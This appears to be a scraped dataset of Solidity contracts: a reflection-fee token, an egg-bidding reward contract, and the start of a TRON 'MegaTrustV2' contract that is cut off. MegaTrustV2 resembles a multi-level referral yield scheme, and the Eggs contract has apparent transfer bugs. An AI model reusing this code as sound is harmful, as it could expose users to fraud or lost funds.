return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BOOGEYINU is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'BOOGEYINU';
string private constant _SYMBOL = 'BGY';
uint8 private constant _DECIMALS = 9;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 100000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 300;
uint256 private constant _BURN_FEE = 700;
uint256 private constant _MAX_TX_SIZE = 5000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromMagnetion(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function magnetionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromMagnetion(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total magnetions");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromMagnetion(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _magnetFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 315,491 | 11,173 |
c6c0163d30cb6ad63c3324377ffb6bf1e09d0b44bf47b7f8f8f350f4b24fff92
| 18,955 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8b/8b9799190f9933a34B9501dFF22B4452295B1612_Eggs.sol
| 4,256 | 16,031 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract Eggs {
using SafeMath for uint;
using SafeMath for uint32;
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable SetToken;
address public owner;
uint256 public fliptime;
uint256 public flipduration;
uint256 private lastFlip;
uint256 public totalBurned;
uint256 public burnOfMissedBid;
struct Egg {
string name;
uint256 returnvalue; // 10000 is total of excess (dropped by distributor), so 1000 = 1%. All eggs together = 100%.
uint256 minimumbid;
address currentholder;
}
Egg[] public eggs;
struct Bidding {
address bidder;
uint256 amount;
}
Bidding[] public bidding;
struct HistoryItem {
uint when;
address receiver;
uint256 amount;
}
HistoryItem[] public history;
constructor (address _token, uint256 _flipDuration) {
require(_token != address(0));
SetToken = _token;
flipduration = _flipDuration;
owner = msg.sender;
lastFlip = 0;
totalBurned = 0;
burnOfMissedBid = 1;
}
function resetBids() internal {
delete bidding;
for (uint i = 0; i < eggs.length; i++) {
bidding.push(Bidding({
bidder: address(0),
amount: 0
}));
}
}
function checkIfFlipNeeded() public view returns (bool) {
if (block.timestamp > (lastFlip + flipduration)) { return true; } else { return false; }
}
function doFlip() internal {
if (checkIfFlipNeeded()) {
for (uint i = 0; i < eggs.length; i++) {
eggs[ i ].currentholder = bidding[ i ].bidder;
totalBurned = totalBurned + bidding[ i ].amount;
IERC20(SetToken).burn(bidding[ i ].amount);
}
resetBids();
}
}
function getExcess() public view returns (uint256) {
uint256 bidtotal = 0;
for (uint i = 0; i < bidding.length; i++) {
bidtotal = bidtotal + bidding[ i ].amount;
}
return IERC20(SetToken).balanceOf(address(this)) - bidtotal;
}
function addEgg(string memory _name, uint256 _returnvalue, uint256 _minimumbid) external {
require (msg.sender == owner, "You are not allowed");
eggs.push(Egg({
name: _name,
returnvalue: _returnvalue,
minimumbid: _minimumbid,
currentholder: address(0)
}));
resetBids();
}
function editEggName(uint _index, string memory _name) external {
require (msg.sender == owner, "You are not allowed");
eggs[ _index ].name = _name;
}
function editEggReturnValue(uint _index, uint256 _returnvalue) external {
require (msg.sender == owner, "You are not allowed");
eggs[ _index ].returnvalue = _returnvalue;
}
function editEggMinimumBud(uint _index, uint256 _minimumbid) external {
require (msg.sender == owner, "You are not allowed");
eggs[ _index ].minimumbid = _minimumbid;
}
function edutBurnPercentage(uint256 _burnPercentage) external {
require (msg.sender == owner, "You are not allowed");
burnOfMissedBid = _burnPercentage;
}
function placeBid(uint _eggIndex, uint256 _bid) external {
require(_bid > bidding[ _eggIndex ].amount, "Bid too low");
if (bidding[ _eggIndex ].bidder != address(0)) {
uint256 fee = bidding[ _eggIndex ].amount.mul(burnOfMissedBid).div(100);
IERC20(SetToken).transferFrom(address(this), bidding[ _eggIndex ].bidder, bidding[ _eggIndex ].amount.sub(fee));
IERC20(SetToken).burn(fee);
}
IERC20(SetToken).transferFrom(msg.sender, address(this), _bid);
bidding[ _eggIndex ].bidder = msg.sender;
bidding[ _eggIndex ].amount = _bid;
}
function claimRewards() external {
for (uint i = 0; i < eggs.length; i++) {
if (eggs[ i ].currentholder != address(0)) {
uint256 _amount = getReward(eggs[ i ].currentholder);
IERC20(SetToken).transferFrom(address(this), eggs[ i ].currentholder, _amount);
history.push(HistoryItem({
when: block.timestamp,
receiver: eggs[ i ].currentholder,
amount: _amount
}));
}
}
doFlip();
}
function highestBidder(uint _eggIndex) public view returns (address) {
return bidding[ _eggIndex ].bidder;
}
function highestBid(uint _eggIndex) public view returns (uint256) {
return bidding[ _eggIndex ].amount;
}
function getReward(address _adr) public view returns (uint256) {
uint256 reward = 0;
for (uint i = 0; i < eggs.length; i++) {
if (eggs[ i ].currentholder == _adr) {
reward = reward + (getExcess().mul(eggs[ i ].returnvalue).div(10000));
}
}
return reward;
}
function getRewardPersonal() public view returns (uint256) {
return getReward(msg.sender);
}
}
| 118,753 | 11,174 |
618fddf9c3db83d670b8d2431fcc4bfc98e8b103ffe904f02fcf568c831245b5
| 17,989 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TG6WjQowUdPyM8zjycDpGsAbgE1NMiYDAd_MegaTrustV2.sol
| 5,244 | 17,669 |
//SourceUnit: MegaTrustV2.sol
pragma solidity 0.5.13;
interface ITRC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns(uint256);
function balanceOf(address owner) external view returns(uint256);
function approve(address spender, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
function allowance(address owner, address spender) external view returns(uint256);
}
library SafeMath {
function add(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return add(a, b, 'SafeMath: addition overflow');
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
contract MegaTrustV2 {
using SafeMath for uint256;
uint256 public rate; // price 1 token/trx
uint8 public dailyShare;
ITRC20 public token;
address payable public owner;
address payable public addfund;
address payable public trx_fee;
address payable public mega_insurance;
uint256 public cycles;
uint8[] public refbns;
uint8[] public reffs;
uint256[] public refomset;
uint32 public mxcycle = 100;
uint8[] public poolbns;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_deposited_token;
uint256 public total_withdraw;
uint256 public total_withdraw_token;
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint40 withdraw_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
mapping(address => uint8) public rating_user;
mapping(address => uint256) public rating_bonus;
mapping(address => uint256) public rating_bonus_claimed;
mapping(address => uint256) public total_direct_omset;
mapping(address => uint256) public deposit_amount_token;
mapping(address => uint256) public total_deposit_tokens;
mapping(address => uint256) public total_user_omset;
mapping(address => mapping(uint8 => bool)) public user_level;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner, address payable _addfund, address payable _trxfee, address payable _mega_insurance, ITRC20 _token) public {
owner = _owner;
token = _token;
rate = 100000000; // 1 token = 100 usd
dailyShare = 100;
addfund = _addfund;
trx_fee = _trxfee;
mega_insurance = _mega_insurance;
refbns.push(20); // lvl 1
refbns.push(10); // lvl 2
refbns.push(10); // lvl 3
refbns.push(8); // lvl 4
refbns.push(8); // lvl 5
refbns.push(5); // lvl 6
refbns.push(5); // lvl 7
reffs.push(3); // lvl 1
reffs.push(5); // lvl 2
reffs.push(7); // lvl 3
reffs.push(9); // lvl 4
reffs.push(11); // lvl 5
reffs.push(13); // lvl 6
reffs.push(15); // lvl 7
poolbns.push(40);
poolbns.push(30);
poolbns.push(20);
poolbns.push(10);
cycles = 10000000000;
}
modifier onlyOwner() {
require(msg.sender == owner, "ACCESS_DENIED");
_;
}
function _calcul(uint256 a, uint256 b, uint256 precision) internal pure returns (uint256) {
return a*(10**precision)/b;
}
function setInsurace(address payable _insr) external onlyOwner {
mega_insurance = _insr;
}
function setRate(uint256 _rate) external onlyOwner {
require(_rate >= 0, 'Bad rate');
rate = _rate;
}
function setDailyShare(uint8 _daily) external onlyOwner {
require(_daily >= 0, 'Bad amount');
